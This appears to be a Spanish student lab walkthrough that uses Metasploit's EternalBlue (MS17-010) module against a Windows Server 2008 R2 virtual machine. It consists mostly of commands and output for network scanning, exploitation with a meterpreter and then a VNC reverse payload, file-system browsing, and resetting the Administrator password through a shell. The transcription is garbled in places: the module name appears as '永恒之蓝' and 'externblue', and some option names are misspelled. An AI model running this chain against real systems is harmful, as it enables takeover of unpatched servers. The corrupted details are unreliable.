

# Practica Metasploit + Eternalblue

Paso: 1 Configuramos una red propia para la práctica.

Paso 2: Verificamos las interfaces de red

```
Session Actions Edit View Help

[(kali㉿kali)-~]
└─$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 10.0.2.4 netmask 255.255.255.0 broadcast 10.0.2.255
        inet6 fe80::3850:9fd9:f21f:ec96 prefixlen 64 scopeid 0x20<link>
            ether 08:00:27:24:67:ca txqueuelen 1000 (Ethernet)
            RX packets 3320 bytes 4064930 (3.8 MiB)
            RX errors 0 dropped 0 overruns 0 frame 0
            TX packets 4064 bytes 1534486 (1.4 MiB)
            TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
        inet6 ::1 prefixlen 128 scopeid 0x10<host>
            loop txqueuelen 1000 (Local Loopback)
            RX packets 369 bytes 3862116 (3.6 MiB)
            RX errors 0 dropped 0 overruns 0 frame 0
            TX packets 369 bytes 3862116 (3.6 MiB)
            TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

Paso 3: Usamos la interfaz eth0 y revisar que equipos están conectados

```
Session Actions Edit View Help

[(kali㉿kali)-~]
└─$ sudo arp-scan -I eth0 --localnet
Interface: eth0, type: EN10MB, MAC: 08:00:27:24:67:ca, IPv4: 10.0.2.4
WARNING: Cannot open MAC/Vendor file ieeeoui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
10.0.2.1      52:54:00:12:35:00      (Unknown: locally administered)
10.0.2.2      52:54:00:12:35:00      (Unknown: locally administered)
10.0.2.3      08:00:27:94:6d:c6      (Unknown)
10.0.2.5      08:00:27:29:3b:c7      (Unknown)

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.843 seconds (138.90 hosts/sec). 4 responded
```

Paso 4: Escaneamos los puertos del dispositivo, se toma la ip 10.0.2.5 ya que es nuestro WS2008

```
Session Actions Edit View Help

[(kali㉿kali)-~]
└─$ sudo nmap -sV 10.0.2.5
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-01 07:41 UTC
Nmap scan report for 10.0.2.5
Host is up (0.00085s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
135/tcp    open  msrpc        Microsoft Windows RPC
445/tcp    open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
49154/tcp  open  msrpc        Microsoft Windows RPC
MAC Address: 08:00:27:29:3B:C7 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.66 seconds
```

## Paso 5: Activar metasploit

```
kali@kali: ~
Session Actions Edit View Help
└─(kali㉿kali)-[~]
$ msfconsole
Metasploit tip: After running db_nmap, be sure to check out the result
of hosts and services
[*] Starting the Metasploit Framework console ... |
```

## Paso 6: Escaneamos smb

```
msf > search smb scanner
Matching Modules
=====
#  Name
0 auxiliary/scanner/http/citrix_dir_traversal
1 auxiliary/scanner/smb/impacket/dcomexec
2 auxiliary/scanner/smb/impacket/secretsdump
3 auxiliary/scanner/dcerpc/dfscoerce
4 auxiliary/scanner/smb/smb_ms17_010
5   \ AKA: DOUBLEPULSA
6   \ AKA: ETERNALBLUE
7 auxiliary/scanner/smb/psexec_loggedin_users
8 auxiliary/scanner/dcerpc/petitpotam
9 auxiliary/scanner/sap/sap_smb_relay
10 auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing
11 auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence
12 auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir
13 auxiliary/scanner/smb/smb_enumusers_domain
14 auxiliary/scanner/smb/smb_enum_gpp
15 auxiliary/scanner/smb/smb_login
16 auxiliary/scanner/smb/smb_lookupsid
17   \ action: DOMAIN
18   \ action: LOCAL
19 auxiliary/admin/smb/check_dir_file
20 auxiliary/scanner/smb/pipe_auditor
21 auxiliary/scanner/smb/pipe_dcerpc_auditor
22 auxiliary/scanner/smb/smb_enumshares
23 auxiliary/scanner/smb/smb_enumusers
24 auxiliary/scanner/smb/smb_version

          Disclosure Date  Rank  Check  Description
-----+-----+-----+-----+
 0    2019-12-17  normal  No    Citrix ADC (NetScaler) Directory Traversal Scanner
 1    2018-03-19  normal  No    DCOM Exec
 2    .           normal  No    DCOM Exec
 3    .           normal  No    DFSCoerce
 4    .           normal  No    MS17-010 SMB RCE Detection
 5    .           .
 6    .           .
 7    .           normal  No    Microsoft Windows Authenticated Logged In Users Enumeration
 8    .           normal  No    PetitPotam
 9    .           normal  No    SAP SMB Relay Abuse
10    .           normal  No    SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosure
11    .           normal  No    SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check
12    .           normal  No    SAP SOAP RFC RZL_READ_DIR LOCAL Directory Contents Listing
13    .           normal  No    SMB Domain User Enumeration
14    .           normal  No    SMB Group Policy Preference Saved Passwords Enumeration
15    .           normal  No    SMB Login Check Scanner
16    .           normal  No    SMB SID User Enumeration (LookupSid)
17    .           .
18    .           .
19    .           normal  No    SMB Scanner Check File/Directory Utility
20    .           normal  No    SMB Session Pipe Auditor
21    .           normal  No    SMB Session Pipe DCERP Auditor
22    .           normal  No    SMB Share Enumeration
23    .           normal  No    SMB User Enumeration (SAM EnumUsers)
24    .           normal  No    SMB Version Detection
```

## Paso 7: Seleccionamos opción 24

```
Interact with a module by name or index. For example info 27, use 27 or use auxiliary/scanner/smb/impacket/wmiexec
msf > use 24
msf auxiliary(scanner/smb/smb_version) >
```

## Paso 8: Vemos las opciones

```
msf > use 24
msf auxiliary(scanner/smb/smb_version) > show options
Module options (auxiliary/scanner/smb/smb_version):
Name      Current Setting  Required  Description
RHOSTS      yes            The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT       no             The target port (TCP)
THREADS     1              yes        The number of concurrent threads (max one per host)

View the full module info with the info, or info -d command.
msf auxiliary(scanner/smb/smb_version) >
```

## Paso 9: agregamos la IP de la máquina víctima

```
View the full module info with the info, or info -d command.
```

```
msf auxiliary(scanner/smb/smb_version) > set rhosts 10.0.2.5
rhosts => 10.0.2.5
msf auxiliary(scanner/smb/smb_version) > 
```

## Paso 10: Hacemos el exploit

```
View the full module info with the info, or info -d command.

msf auxiliary(scanner/smb/smb_version) > set rhosts 10.0.2.5
rhosts => 10.0.2.5
msf auxiliary(scanner/smb/smb_version) > exploit
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.21/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+' and '?' was
replaced with '*' in regular expression
[*] 10.0.2.5:445          - SMB Detected (versions:1, 2) (preferred dialect:SMB 2.1) (signatures:optional) (uptime:37m 48s) (guid:{b92c7ebd-b20d-4732-b76b-a83bbb170351
}) (authentication domain:WIN-73ELHNVDGM)
[*] 10.0.2.5:445          - Host is running Windows 2008 R2 Standard SP1 (build:7601)
[*] 10.0.2.5              - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/smb/smb_version) > 
```

## Paso 11: Buscamos eternalblue

```
msf auxiliary(scanner/smb/smb_version) > search eternalblue
Matching Modules

#  Name                                     Disclosure Date  Rank   Check  Description
-  exploit/windows/smb/ms17_010_eternalblue    2017-03-14    average Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
  1  \_\_ target: Automatic Target
  2  \_\_ target: Windows 7
  3  \_\_ target: Windows Embedded Standard 7
  4  \_\_ target: Windows Server 2008 R2
  5  \_\_ target: Windows 8
  6  \_\_ target: Windows 8.1
  7  \_\_ target: Windows Server 2012
  8  \_\_ target: Windows 10 Pro
  9  \_\_ target: Windows 10 Enterprise Evaluation
 10 exploit/windows/smb/ms17_010_psexec        2017-03-14    normal  Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
 11 \_\_ target: Automatic
 12 \_\_ target: PowerShell
 13 \_\_ target: Native upload
 14 \_\_ target: MOF upload
 15 \_\_ AKA: ETERNALSYNERGY
 16 \_\_ AKA: ETERNALROMANCE
 17 \_\_ AKA: ETERNALCHAMPION
 18 \_\_ AKA: ETERNALBLUE
 19 auxiliary/admin/smb/ms17_010_command       2017-03-14    normal  No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
 20 \_\_ AKA: ETERNALSYNERGY
 21 \_\_ AKA: ETERNALROMANCE
 22 \_\_ AKA: ETERNALCHAMPION
 23 \_\_ AKA: ETERNALBLUE
```

## Paso 12: Seleccionamos la opción 0

```
msf auxiliary(scanner/smb/smb_version) > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/ms17_010_eternalblue) > 
```

## Paso 13: Mostramos las opciones

```

Session Actions Edit View Help
Name Current Setting Required Description
RHOSTS 445 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
REPORT no (Optional) The target port (TCP)
SMBDomain no (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
VERIFY_TARGET true yes Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.

Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
EXIFFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.0.2.4 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:
Id Name
-- 
0 Automatic Target

View the full module info with the info, or info -d command.
msf exploit(windows/smb/ms17_010_永恒之蓝) > 

```

## Paso 14: agregamos la IP de Windows server 2008

```

View the full module info with the info, or info -d command.

msf exploit(windows/smb/ms17_010_永恒之蓝) > set rhosts 10.0.2.5
rhosts => 10.0.2.5
msf exploit(windows/smb/ms17_010_永恒之蓝) > 

```

## Paso 15: Hacemos el exploit

```

msf exploit(windows/smb/ms17_010_永恒之蓝) > exploit
[-] Unknown command: exploit. Did you mean exploit? Run the help command for more details.
msf exploit(windows/smb/ms17_010_永恒之蓝) > exploit
[*] Started reverse TCP handler on 10.0.2.4:4444
[*] 10.0.2.5:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[*] 10.0.2.5:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (64-bit)
[*] 10.0.2.5:445 - Scanned 1 of 1 hosts (100% complete)
[*] 10.0.2.5:445 - The target is vulnerable.
[*] 10.0.2.5:445 - Connecting to target for exploitation.
[*] 10.0.2.5:445 - Connection established for exploitation.
[*] 10.0.2.5:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.0.2.5:445 - CORE raw buffer dump (51 bytes)
[*] 10.0.2.5:445 - 0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2
[*] 10.0.2.5:445 - 0x00000010 30 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20 008 R2 Standard
[*] 10.0.2.5:445 - 0x00000020 37 36 30 31 20 53 65 72 76 69 63 65 20 50 61 63 7601 Service Pac
[*] 10.0.2.5:445 - 0x00000030 6b 20 31 k 1
[*] 10.0.2.5:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.0.2.5:445 - Trying exploit with 12 Groom Allocations.
[*] 10.0.2.5:445 - Sending all but last fragment of exploit packet

```

## Paso 16: Cargamos directorio de trabajo

```

meterpreter > pwd
C:\Windows\system32
meterpreter > 

```

## Paso 17: Obtenemos usuarios de Server

```

meterpreter > cd ..
meterpreter > ls
Listing: C:\

Mode          Size   Type  Last modified      Name
--          --   ----  --          --
040777/rwxrwxrwx  0    dir   2009-07-14 02:34:39 +0000  $Recycle.Bin
040777/rwxrwxrwx  0    dir   2009-07-14 05:06:44 +0000  Documents and Settings
040777/rwxrwxrwx  0    dir   2009-07-14 03:20:08 +0000  PerfLogs
040555/r-xr-xr-x  4096   dir  2009-07-14 05:06:59 +0000  Program Files
040555/r-xr-xr-x  4096   dir  2009-07-14 05:06:53 +0000  Program Files (x86)
040777/rwxrwxrwx  4096   dir  2009-07-14 05:06:44 +0000  ProgramData
040777/rwxrwxrwx  0    dir   2025-12-01 06:28:56 +0000  Recovery
040777/rwxrwxrwx  4096   dir  2025-12-01 06:27:00 +0000  System Volume Information
040555/r-xr-xr-x  4096   dir  2025-12-01 06:31:04 +0000  Users
040777/rwxrwxrwx  16384   dir  2025-12-01 06:30:54 +0000  Windows
000000/-----  0    fif   1970-01-01 00:00:00 +0000  pagefile.sys

meterpreter > cd Users
meterpreter > ls
Listing: C:\Users

Mode          Size   Type  Last modified      Name
--          --   ----  --          --
040777/rwxrwxrwx  8192   dir  2025-12-01 06:31:10 +0000  Administrator
040777/rwxrwxrwx  0    dir   2009-07-14 05:06:44 +0000  All Users
040555/r-xr-xr-x  0    dir   2009-07-14 06:29:45 +0000  Default
040777/rwxrwxrwx  0    dir   2009-07-14 05:06:44 +0000  Default User
040555/r-xr-xr-x  4096   dir  2009-07-14 04:57:55 +0000  Public
100666/rw-rw-rw-  174    fil   2009-07-14 04:57:55 +0000  desktop.ini

meterpreter >

```

### Paso 18: Cambiamos la contraseña al usuario

```

meterpreter > shell
Process 1220 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users>net user Administrator 1234-abcd
net user Administrator 1234-abcd
The command completed successfully.

```

### Paso 19: Generamos espejo de Windows

```

msf exploit(windows/smb/ms17_010_externblue) > set payload windows/x64/vncinject/reverse_tcp
payload => windows/x64/vncinject/reverse_tcp
msf exploit(windows/smb/ms17_010_externblue) > exploit
[*] Started reverse TCP handler on 10.0.2.4:444
[*] 10.0.2.5:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[*] 10.0.2.5:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (64-bit)
[*] 10.0.2.5:445 - Scanned 1 of 1 hosts (100% complete)
[*] 10.0.2.5:445 - The target is vulnerable.
[*] 10.0.2.5:445 - Connecting to target for exploitation.
[*] 10.0.2.5:445 - Connection established for exploitation.
[*] 10.0.2.5:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.0.2.5:445 - CORE raw buffer dump (51 bytes)
[*] 10.0.2.5:445 - 0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2
[*] 10.0.2.5:445 - 0x00000010 30 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20 008 R2 Standard
[*] 10.0.2.5:445 - 0x00000020 37 36 30 31 20 53 65 72 76 69 63 65 20 50 61 63 7601 Service Pac
[*] 10.0.2.5:445 - 0x00000030 6b 20 31 k 1
[*] 10.0.2.5:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.0.2.5:445 - Trying exploit with 12 Groom Allocations.
[*] 10.0.2.5:445 - Sending all but last fragment of exploit packet

```